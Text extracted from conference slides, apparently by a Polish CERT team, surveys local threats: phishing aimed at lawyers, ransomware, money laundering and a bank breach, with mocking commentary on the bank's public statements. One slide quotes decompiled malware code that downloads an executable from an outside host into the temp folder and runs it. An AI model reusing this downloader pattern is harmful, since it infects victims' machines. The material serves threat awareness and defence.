(Mostly) Polish threat landscape:

not only VBKlip

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CERT.PL>_



Successful attack in three simple steps


1 Send an e-mail:


We're opening new office in Poland and we want a lawyer.


- 2 Someone responds.
- 3 Send an e-mail: Here's the NDA: [insert link here]


Successful attack in three simple steps


- 1 Infect some company.
- 2 Steal e-mails of clients.
- Send e-mail to clients with a link to important documents (e.g. to an invoice).















And then... a ransom note



And then... a ransom note



Money laundering (general scheme)



Return of the "technically challenged" malware author

```
private void Timer1 Tick(object sender, EventArgs e)
  try
    this.WebBrowser1.Navigate("http://dstats.net/download/http://z3s.pl");
    this.Timer1.Stop():
    this.Timer2.Start();
  catch (Exception ex)
   ProjectData.SetProjectError(ex);
    this.WebBrowser1.Navigate("http://z3s.pl");
    this.Timer1.Stop();
    this.Timer2.Start();
    ProjectData.ClearProjectError():
private void Timer2 Tick(object sender, EventArgs e)
  string str = Path.Combine(MyProject.Computer.FileSystem.SpecialDirectories.Temp, Path.GetRandomFileName() + ".exe");
  try
   MyProject.Computer.Network.DownloadFile("http://
                                                                          WVRdWUp.exe", str);
   Process.Start(str);
    this.Timer2.Stop():
  catch (Exception ex)
   ProjectData.SetProjectError(ex);
   MyProject.Computer.Network.DownloadFile("http://
                                                        c12a94.exe", str);
    Process.Start(str):
    this.Timer2.Stop():
    ProjectData.ClearProjectError();
```

Return of the "technically challenged" malware author



Webinjects without any malware

Sometimes you have access to the online banking system webserver...


Webinjects without any malware

Sometimes you have access to the online banking system webserver...

wait, what?

Webinjects without any malware

Sometimes you have access to the online banking system webserver...



Bank via e-mail to journalist

(...) we are urging you to stop **illegal** publication of information relating to the effects of hacking **attempts** (...) This information is based on **unrealiable** source and does not present bank's point of view.

[lots of legal clauses follow]

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Response

Journalist publishes a dump of 100 (censored) credit card data...

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Response

Journalist publishes a dump of 100 (censored) credit card data... ... and (censored) wire transfer proofs...

Bank via e-mail to journalist

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[lots of legal clauses follow]

Response

Journalist publishes a dump of 100 (censored) credit card data...

- ... and (censored) wire transfer proofs...
- ... and server file listings (also censored)...

Bank via e-mail to journalist

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[lots of legal clauses follow]

Response

Journalist publishes a dump of 100 (censored) credit card data...

- ... and (censored) wire transfer proofs...
- ... and server file listings (also censored)...
- ... and says that attacker gave a copy of webinjects and configuration files.

PR tutorial, part II: say something reassuring

Spokesman for the Polish Bank Association

Clients can be sure that their personal data is safe.

PR tutorial, part II: say something reassuring

Spokesman for the Polish Bank Association

Clients can be sure that their personal data is safe.

Response

Attackers publishes personal data and transaction history from 500 different business accounts.

PR tutorial, part II: say something reassuring

Spokesman for the Polish Bank Association

Clients can be sure that their personal data is safe.

Response

Attackers publishes personal data and transaction history from 500 different business accounts. Including bank owner's son.

PR tutorial, part III: oh, this definitely is true!

Bank's press release

None of the bank's clients lost any amount of money.

PR tutorial, part III: oh, this definitely is true!

Bank's press release

None of the bank's clients lost any amount of money.


Response

Client X: but we lost money that was NOT in your bank.


How to steal money with only login and password?



How to steal money with only login and password?



How to steal money with only login and password?



PR tutorial, part IV: I don't even make sense now...

Spokesman for the Polish Bank Association

(...) hacker, who **allegedly** broke into the bank's systems **will be captured by the police.** (...)

PR tutorial, part IV: I don't even make sense now...


Spokesman for the Polish Bank Association

(...) hacker, who **allegedly** broke into the bank's systems **will be captured by the police.** (...)

Response

Police captured one of the attackers.

PR tutorial, part V: copy of the production server



Last slide

Questions? Comments?